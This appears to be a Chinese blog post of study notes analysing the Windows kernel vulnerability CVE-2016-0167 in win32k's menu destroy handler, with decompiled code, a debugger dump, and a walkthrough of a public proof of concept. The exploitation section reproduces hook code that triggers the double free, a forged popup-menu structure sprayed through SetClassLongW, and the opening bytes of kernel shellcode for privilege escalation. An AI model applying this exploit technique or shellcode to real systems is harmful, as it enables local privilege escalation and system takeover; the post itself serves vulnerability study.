zoukankan      html  css  js  c++  java
  • cve-2016-0167学习笔记

    第一次分析windows内核漏洞,太难了不是人搞的,放弃了,还是搞搞别的吧

    主要参考了leeqwind的博客+个人理解

    漏洞原理

    CVE-2016-0167发生在win32k!xxxMNDestroyHandler中,漏洞发生的根本原因是win32k!xxxMNDestroyHandler在释放窗口处理消息WM_UNINITMENUPOPUP时可能被回调到用户进程,在用户回调中执行自定义的挂钩函数(hook)时可能会引起窗口对象内存区域的分配或释放。在之后的分析中我们可以看到处理消息的函数win32k!xxxSendMessageTimeout在执行完用户自定义hook之后没有检查相应内存区域的有效性直接执行了一个函数回调spwndNotify->lpfnWndProc,所以漏洞的利用思路可以是利用hook double free掉窗口内存区域,然后重新分配占位窗口内存的spwndNotify->lpfnWndProc成员域来劫持控制流进而提权。

    前置知识

    1.用户模式回调

    传统上,win32子系统是在client-server runtime subsystem (CSRSS)的基础上实现的,客户端的线程都有一个对应的服务端线程存在,他们通过fastLPC通信。后来为了提高性能,微软将大部分服务端的组件转移到了内核模式,这就引入了win32k.sys。

    这样做的好处是减少了线程切换的次数和内存需求;但是和以前直接在相同特权级别直接访问代码/数据相比,用户/内核的状态转换慢。为了加快状态转换速度,微软的做法是在用户模式地址空间缓存部分数据结构;为了在内核态访问这些数据结构,需要有一种将控制权交给用户模式的方法,微软用的方法就是用户模式回调。

    用户模式回调允许win32k回调到用户模式,并可以执行应用程序自定义的挂钩(hook)、事件通知、从/向用户模式拷贝数据。

    2.用户对象的位置

    windows中每个句柄的实际位置保存在句柄类型信息表中(win32k!ghati),这个表保存了对象的分配标志、类型、指向销毁例程的指针。当对象的引用锁计数为零时就会调用ghati中对应的销毁例程。

    3.win32k的命名约定

    为了使开发者对可能回调到用户模式的函数做出相应预防措施,win32k使用了他自己的函数命名约定。函数的前缀xxx或zzz会表明函数以何种方式调用用户模式回调。以xxx前缀命名的函数大部分会调用用户模式回调,以zzz为前缀命名的函数大部分会调用异步或延时的回调。

    4.对象锁

    windows使用锁来确保内核执行用户模式回调时对象不被改变,锁的类型一般有两种,线程锁和赋值锁。

    线程锁通常用于给函数内部的对象或者缓冲区加锁。每一个线程被加锁的项存储在线程锁结构 (win32k! TL)的一个线程锁单链表。线程信息结构(THREADINFO.ptl)会指向该列表。当一个 Win32k 的函数不再需要某个对象或者缓冲区时, 它会调用 ThreadUnlock() 函数将锁项从线程锁列表中移除。

    赋值锁用于对用户对象更长时间的加锁。赋值锁的对象是指向被锁对象的指针,在加赋值锁时win32k调用HMAssignmentLock(Address,Object),释放对象赋值锁时调用HMAssignmentUnlock(Address)。

    漏洞分析

    以下分析关键代码和主要逻辑。win32k!xxxMNDestroyHandler用于销毁菜单窗口的关联弹出菜单tagPOPUPMENU,win32k!xxxMNDestroyHandler首先检查了当前菜单是否包含子菜单,并遍历子菜单发送消息xxxMNCloseHierarchy执行关闭子菜单的任务。

    void __stdcall xxxMNDestroyHandler(_tagPOPUPMENU *popupmenu)
    {
    _tagWND *v1; // eax
    int v2; // ecx
    int v3; // eax
    _tagWND *spwndNotify; // eax
    _DWORD *spmenu; // eax
    _tagWND *v6; // eax
    _DWORD *v7; // esi
    _SINGLE_LIST_ENTRY *v8; // [esp+4h] [ebp-Ch]
    _tagWND *v9; // [esp+8h] [ebp-8h]

    if ( popupmenu )
    {
      if ( popupmenu->spwndNextPopup )
      {
        v1 = (_tagWND *)popupmenu->spwndPopupMenu;// 判断当前菜单是否存在子菜单
        if ( !v1 )                               // 不存在子菜单
          v1 = (_tagWND *)popupmenu->spwndNextPopup;// 指向下一个菜单
        v8 = gptiCurrent[45].Next;
        gptiCurrent[45].Next = (_SINGLE_LIST_ENTRY *)&v8;
        v9 = v1;
        ++v1->head.cLockObj;
        xxxSendMessage(v1, 0x1E4, 0, 0);           // xxxMNCloseHierarchy,关闭子菜单
        ThreadUnlock1();                         // 关闭线程锁
      }

    然后检查fSendUninit标志位,其中fSendUninit是在子弹出菜单初始化时通过xxxTrackPopupMenuEx或 xxxMNOpenHierarchy被默认置位,参数spwndNotify在窗口初始化时作为用户窗口对象的地址,调用时是可控的,这将导致xxxSendMessage在处理WM_UNINITMENUPOPUP消息时有可能被回调到用户进程,漏洞也就是出现在这里。

        if ( popupmenu->_union_1.fIsMenuBar & 0x200000 )// fSendUninit
      {
        spwndNotify = (_tagWND *)popupmenu->spwndNotify;
        if ( spwndNotify )
        {
          v8 = gptiCurrent[45].Next;
          gptiCurrent[45].Next = (_SINGLE_LIST_ENTRY *)&v8;
          v9 = spwndNotify;
          ++spwndNotify->head.cLockObj;
          spmenu = (_DWORD *)popupmenu->spmenu;
          if ( spmenu )
            spmenu = (_DWORD *)*spmenu;
          xxxSendMessage(                         // vul here
            (_tagWND *)popupmenu->spwndNotify,
            0x125,                                 // WM_UNINITMENUPOPUP
            (WCHAR)spmenu,
            (void *)((unsigned __int16)((((unsigned int)popupmenu->_union_1.fIsMenuBar >> 2) & 1) << 13) << 16));
          ThreadUnlock1();
        }
      }

    win32k!xxxSendMessage中主要是给线程临界区加锁,然后执行了xxxSendMessageTimeout。xxxSendMessageTimeout中执行了一个自定义的钩子函数,然后判断接收信息窗口spwndNotify的标志位没有检查相应内存区域的有效性直接执行了一个回调函数spwndNotify->lpfnWndProc。

       if ( gptiCurrent == (PSINGLE_LIST_ENTRY)spwndNotify->head.pti )
      {
        if ( (LOBYTE(gptiCurrent[75].Next) | LOBYTE(gptiCurrent[51].Next[3].Next)) & 0x20 )
        {
          v22 = spwndNotify->head.h__;
          v20 = UnicodeString;
          v19 = Src;
          v21 = v12;
          v23 = 0;
          xxxCallHook(0, 0, (int)&v19, 4);       // 执行回调
        }
        if ( spwndNotify->_union_2.state & 0x40000 )
        {
          IoGetStackLimits(&LowLimit, &HighLimit);
          if ( (unsigned int)&HighLimit - LowLimit < 0x1000 )
            return 0;
          result = (_SINGLE_LIST_ENTRY *)((int (__stdcall *)(_tagWND *, int, _DWORD, void *))spwndNotify->lpfnWndProc)(// 未检查相应内存区域有效性直接访问
                                            spwndNotify,
                                            v12,
                                            UnicodeString,
                                            Src);
          if ( !pMbString )
            return result;
          *(_DWORD *)pMbString = result;
        }
          else
        {
          xxxSendMessageToClient(spwndNotify, v12, UnicodeString, Src, 0, 0, (int)&HighLimit);

    win32k!xxxMNDestroyHandler最后判断了fDelayedFree标志位,只有当fDelayedFree标志位为空时才会马上执行MNFreePopup,否则只清除fDelayedFree标志位。

        if ( popupmenu->_union_1.fHasMenuBar & 0x10000 )// fDelayedFree
      {
        v7 = (_DWORD *)popupmenu->ppopupmenuRoot;
        if ( v7 )
          *v7 |= 0x20000u;                       // 清除fDelayedFree标志位
      }
      else
      {
        MNFreePopup(popupmenu);
      }

    MNFreePopup首先判断当前要释放的弹出菜单是否为根菜单,若是则执行MNFlushDestroyedPopups进行释放。接着清除窗口对象成员域的赋值锁,最后释放掉窗口对象。

    void __stdcall MNFreePopup(_tagPOPUPMENU *P)
    {
    int v1; // eax

    if ( P == (_tagPOPUPMENU *)P->ppopupmenuRoot )// 要释放的是当前根菜单
      MNFlushDestroyedPopups((#162 *)P, 1);
    v1 = P->spwndPopupMenu;
    if ( v1 && (*(_WORD *)(v1 + 42) & 0x3FFF) == 668 && P != (_tagPOPUPMENU *)&gpopupMenu )
      *(_DWORD *)(v1 + 176) = 0;
    HMAssignmentUnlock(&P->spwndPopupMenu);       // 清除赋值锁
                                                  // 减小锁计数对象,锁计数为1时调用 HMUnlockObjectInternal销毁对象
    HMAssignmentUnlock(&P->spwndNextPopup);
    HMAssignmentUnlock(&P->spwndPrevPopup);
    UnlockPopupMenu((int)P, &P->spmenu);
    UnlockPopupMenu((int)P, &P->spmenuAlternate);
    HMAssignmentUnlock(&P->spwndNotify);
    HMAssignmentUnlock(&P->spwndActivePopup);
    if ( P == (_tagPOPUPMENU *)&gpopupMenu )
      gdwPUDFlags &= 0xFF7FFFFF;
    else
      ExFreePoolWithTag(P, 0);                   // 释放对象
    }

    其中MNFlushDestroyedPopups遍历并根据链表中每个对象的fDestroyed标志位调用MNFreePopup对对象进行释放。

      for ( result = (_tagPOPUPMENU **)((char *)a1 + 36); *result; result = (_tagPOPUPMENU **)((char *)v2 + 36) )
    {
      v4 = *result;
      if ( (*result)->_union_1.fIsMenuBar & 0x8000 )// fDestroyed
      {
        v5 = *result;
        *result = (_tagPOPUPMENU *)v4->ppmDelayedFree;
        MNFreePopup(v5);
      }
      else if ( a2 )
      {
        v4->_union_1.fIsMenuBar &= 0xFFFEFFFF;
        *result = (_tagPOPUPMENU *)(*result)->ppmDelayedFree;
      }
      else
      {
        v2 = (#162 *)*result;
      }

    HMAssignmentUnlock清除赋值锁的过程首先减小了对象的锁计数,在锁计数减小为0时调用HMUnlockObjectInternal销毁对象。销毁时调用win32k!ghati对应表项的销毁例程,并最终调用xxxDestroyWindow对窗口对象进行释放。

    3: kd> r

    eax=ff911020 ebx=fd4425e8 ecx=0000000c edx=00000201 esi=fd4425e8 edi=924df600

    eip=9238e301 esp=90519ac4 ebp=90519ac8 iopl=0     nv up ei pl nz na pe nc

    cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000       efl=00000206

    win32k!HMDestroyUnlockedObject+0x15:

    9238e301 ff9118294b92 call dword ptr win32k!gahti (924b2918)[ecx] ds:0023:924b2924={win32k!xxxDestroyWindow (92345c1f)}

    漏洞利用

    这里只根据leeqwind师傅的poc分析下漏洞的利用思路,poc地址https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2016-0167/x86.cpp

    漏洞利用的过程就是一个uaf的利用过程,只不过内核的消息处理机制比较复杂,漏洞触发流程也比较复杂。总体思路是win32k!xxxMNDestroyHandler在处理WM_UNINITMENUPOPUP消息执行自定义hook函数时对窗口对象double free,double free可以在hook中通过发送MN_CANCELMENUS消息并在处理消息进入xxxMNDestroyHandler中处理WM_UNINITMENUPOPUP消息时调用DestroyWindow来实现;重新置位内存的过程可以通过发送一个WM_NCCREATE消息重新申请内存并对double free的内存spwndNotify->lpfnWndProc成员域覆盖成shellcode的地址,由于xxxSendMessageTimeout没有检查内存spwndNotify->lpfnWndProc成员域的合法性直接访问了,这样就会劫持控制流执行shellcode。

    首先设置WH_CALLWNDPROC类型的自定义hook函数,并设置事件通知范围为EVENT_SYSTEM_MENUPOPUPSTART,即菜单开始弹出的事件通知。然后通过调用TrackPopupMenuEx使第一个菜单作为根菜单显示,并进入消息循环状态。

        SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
          GetModuleHandleA(NULL),
          GetCurrentThreadId());

      SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
          GetModuleHandleA(NULL),
          xxWindowEventProc,
          GetCurrentProcessId(),
          GetCurrentThreadId(),
          0);

      TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
       
      MSG msg = { 0 };
      while (GetMessageW(&msg, NULL, 0, 0))
      {
          TranslateMessage(&msg);
          DispatchMessageW(&msg);
      }

    调用TrackPopupMenuEx显示菜单时会触发EVENT_SYSTEM_MENUPOPUPSTART事件通知,由于我们自定义了EVENT_SYSTEM_MENUPOPUPSTART通知的事件通知处理函数xxWindowEventProc,xxxWindowEvent在处理该通知时会进入我们自定义的xxWindowEventProc函数中,而在我们自定义的事件通知处理函数xxWindowEventProc中主要发送了三个消息

        SendMessageW(hwnd, MN_SELECTITEM, 0, 0);
      SendMessageW(hwnd, MN_SELECTFIRSTVALIDITEM, 0, 0);
      PostMessageW(hwnd, MN_OPENHIERARCHY, 0, 0);

    在处理分发MN_OPENHIERARCHY消息时会调用xxxCreateWindowEx创建新的菜单窗口,在xxxCreateWindowEx中会调用xxxSendMessage发送WM_NCCREATE的消息,并最终调用xxxSendMessageTimeout执行xxxCallHook进入我们自定义的hook函数xxWindowHookProc中。而在xxWindowHookProc中主要是判断并根据消息的类型进入DestroyWindow或者发送MN_CANCELMENUS消息进入xxxMNCancel的流程。其中WM_UNINITMENUPOPUP消息表明这时处于第一次调用xxxMNDestroyHandler期间,这时调用DestroyWindow销毁窗口即可;WM_NCCREATE消息表明是显示完根菜单并进入事件通知处理函数xxWindowEventProc期间,这时需要发送MN_CANCELMENUS消息并进入xxxMNCancel的流程对目标窗口进行double free,xxxMNCancel会调用xxxDestroyWindow并最终调用xxxMNDestroyHandler对窗口对象进行释放。

        if (cwp->message == WM_UNINITMENUPOPUP &&
          bEnterUninit == FALSE &&
          hMenuList[1] == (HMENU)cwp->wParam)
      {
          DestroyWindow(hwndMenuDest);
      }
      else if (cwp->message == WM_NCCREATE &&
          hwndMenuDest == NULL &&
          hwndMenuList[0] && !hwndMenuList[1])
      {
          hwndMenuDest = cwp->hwnd;
          SendMessageW(hwndMenuList[0], MN_CANCELMENUS, 0, 0);
          PostMessageW(hWindowMain, WM_EX_TRIGGER, 0, 1);
      }

    这里需要注意的一点是如何使目标窗口fDelayedFree标志位置0进而在xxxMNDestroyHandler中直接进入MNFreePopup的流程。首先需要明确的一点是在自定义hook中调用SendMessageW发送MN_CANCELMENUS消息时,由于此时是处于消息队列处理分发WM_NCCREATE消息期间,MN_CANCELMENUS消息的处理要早于WM_NCCREATE消息,因此WM_NCCREATE要创建的子消息窗口此时并未创建成功,处理MN_CANCELMENUS消息也不会销毁任何子弹出菜单,这样子弹出菜单的fDestroyed标志位就不会被置位。

    同时,在自定义hook中处理MN_CANCELMENUS消息调用xxxMNCancel销毁根菜单时,由于根菜单是被正常创建的,fDelayed标志位是置位的,xxxMNDestroyHandler不会进入MNFreePopup的流程,最终调用xxxMNEndMenuState来清理菜单结构体。

    在SendMessage发送MN_CANCELMENUS消息返回后,我们异步的调用PostMessage发送自定义的消息WM_EX_TRIGGER。这时系统并不会马上执行对异步消息的处理,对WM_EX_TRIGGER消息的处理最终在窗口关联对象的消息循环xxxMNLoop中执行。

    接下来内核继续进行处理WM_NCCREATE消息完成创建子菜单的操作,然后再进入xxxMNLoop消息循环中处理MN_CANCELMENUS消息。在消息循环中会判断若fDestroyed置位,则需要终止菜单,这时会跳出消息循环调用xxxEndMenuLoop终止菜单返回到xxxTrackPopupMenuEx中,xxxTrackPopupMenuEx会调用xxxMNEndMenuState来最终执行菜单终止的任务。xxxMNEndMenuState会调用MNFreePopup进而调用MNFlushDestroyedPopups来释放链表中fDestroyed未置位的对象,而上边的分析中我们已经得出子弹出菜单的fDestroyed不会被置位,因此子菜单不会被释放,且fDelayedFree标志位会被MNFlushDestroyedPopups置零。

    void __stdcall xxxMNEndMenuState(int a1)
    {
    PSINGLE_LIST_ENTRY v1; // edi
    _SINGLE_LIST_ENTRY *v2; // esi
    _SINGLE_LIST_ENTRY *v3; // eax

    v1 = gptiCurrent;
    v2 = gptiCurrent[65].Next;
    if ( !v2[7].Next )
    {
      MNEndMenuStateNotify(gptiCurrent[65].Next);
      if ( v2->Next )
      {
        if ( a1 )
          MNFreePopup((_tagPOPUPMENU *)v2->Next);
        else
          v2->Next->Next = (_SINGLE_LIST_ENTRY *)((_DWORD)v2->Next->Next & 0xFFFEFFFF);
      }

    这时系统会进行hook函数中自定义的消息WM_EX_TRIGGER的处理,进而进入自定义的消息处理函数xxMainWindowProc中。

    static
    LRESULT
    WINAPI
    xxMainWindowProc(
      _In_ HWND   hwnd,
      _In_ UINT   msg,
      _In_ WPARAM wParam,
      _In_ LPARAM lParam
    )
    {
      if (msg == WM_EX_TRIGGER)
      {
          DWORD_PTR popupMenuDest = 0;
          popupMenuDest = *(DWORD_PTR*)((PBYTE)xxHMValidateHandle(hwndMenuDest) + 0xb0);
          DestroyWindow(hwndMenuDest);
          LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuDest, 0);
      }
      return DefWindowProcW(hwnd, msg, wParam, lParam);
    }

    xxMainWindowProc调用DestroyWindow并最终调用xxxMNDestroyHandler销毁目标窗口,xxxMNDestroyHandler在处理WM_UNINITMENUPOPUP消息时会将关联窗口对象句柄作为参数传入,这将命中xxWindowHookProc中处理消息为WM_UNINITMENUPOPUP且spmenu为cwp->wParam的条件执行DestroyWindow(hwndMenuDest),这会导致针对相同hwndMenuDest对象第二次执行xxxMNDestroyHandler,第二次执行xxxMNDestroyHandler时会执行同样的流程但是由于自定义的标志位bEnterUninit已经改变,所以不会第三次执行DestroyWindow。

        if (cwp->message == WM_UNINITMENUPOPUP &&
          bEnterUninit == FALSE &&
          hMenuList[1] == (HMENU)cwp->wParam)
      {
          bEnterUninit = TRUE;
          DestroyWindow(hwndMenuDest);
          DWORD dwPopupFake[0xD] = { 0 };
          dwPopupFake[0x0] = (DWORD)0x00088208; //->flags
          dwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotify
          dwPopupFake[0x2] = (DWORD)pvHeadFake; //->spwndPopupMenu
          dwPopupFake[0x3] = (DWORD)pvHeadFake; //->spwndNextPopup
          dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
          dwPopupFake[0x5] = (DWORD)pvHeadFake; //->spmenu
          dwPopupFake[0x6] = (DWORD)pvHeadFake; //->spmenuAlternate
          dwPopupFake[0x7] = (DWORD)pvHeadFake; //->spwndActivePopup
          dwPopupFake[0x8] = (DWORD)0xFFFFFFFF; //->ppopupmenuRoot
          dwPopupFake[0x9] = (DWORD)pvHeadFake; //->ppmDelayedFree
          dwPopupFake[0xA] = (DWORD)0xFFFFFFFF; //->posSelectedItem
          dwPopupFake[0xB] = (DWORD)pvHeadFake; //->posDropped
          dwPopupFake[0xC] = (DWORD)0;
          for (UINT i = 0; i < iWindowCount; ++i)
          {
              SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
          }
      }

    由于此时子弹出菜单fDelayedFree标志位未被置位,将会马上执行MNFreePopop释放掉。(若此时只进行DestroyWindow没有之后的伪造会返回到第一次xxxMNCancel最终调用xxxMNDestroyHandler时会执行相同的操作进而构成double free。)而在实际poc中对xxTrackExploitEx中批量创建的hWindowList[]窗口对象的GCL_MENUNAME进行了伪造。执行完DestroyWindow返回到xxMainWindowProc中继续执行调用SendMessageW发送一个消息0x9F9F并最终触发提权操作。

        0x3d, 0x9f, 0x9f, 0x00, 0x00,       // cmp     eax,9F9Fh
      0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne     Loader+0x1128
      // Loader+0x109b:
      // Judge if CS is 0x1b, which means in user-mode context.
      0x66, 0x8c, 0xc8,                   // mov     ax,cs
      0x66, 0x83, 0xf8, 0x1b,             // cmp     ax,1Bh
      0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // je     Loader+0x1128
      // Loader+0x10a8:
      // Get the address of pwndWindowHunt to ECX.
      // Recover the flags of pwndWindowHunt: zero bServerSideWindowProc.
      // Get the address of pvShellCode to EDX by CALL-POP.
      // Get the address of pvShellCode->tagCLS[0x100] to ESI.
      // Get the address of popupMenuDest to EDI.
      0xfc,                               // cld
      0x8b, 0x4d, 0x08,                   // mov     ecx,dword ptr [ebp+8]
      0xff, 0x41, 0x16,                   // inc     dword ptr [ecx+16h]
      0x60,                               // pushad
      0xe8, 0x00, 0x00, 0x00, 0x00,       // call   $5
  • 相关阅读:
    jQuery的遍历方法
    xampp配置host和httpd可以随意访问任何本机的地址
    JavaScript的this简单实用
    移动端rem布局和百分比栅格化布局
    你知道用AngularJs怎么定义指令吗?
    谈谈Angular关于$watch,$apply 以及 $digest的工作原理
    深入了解Angularjs指令中的ngModel
    如何将angularJs项目与requireJs集成
    requireJS(二)
    requireJS(一)
  • 原文地址:https://www.cnblogs.com/snip3r/p/12335515.html
Copyright © 2011-2022 走看看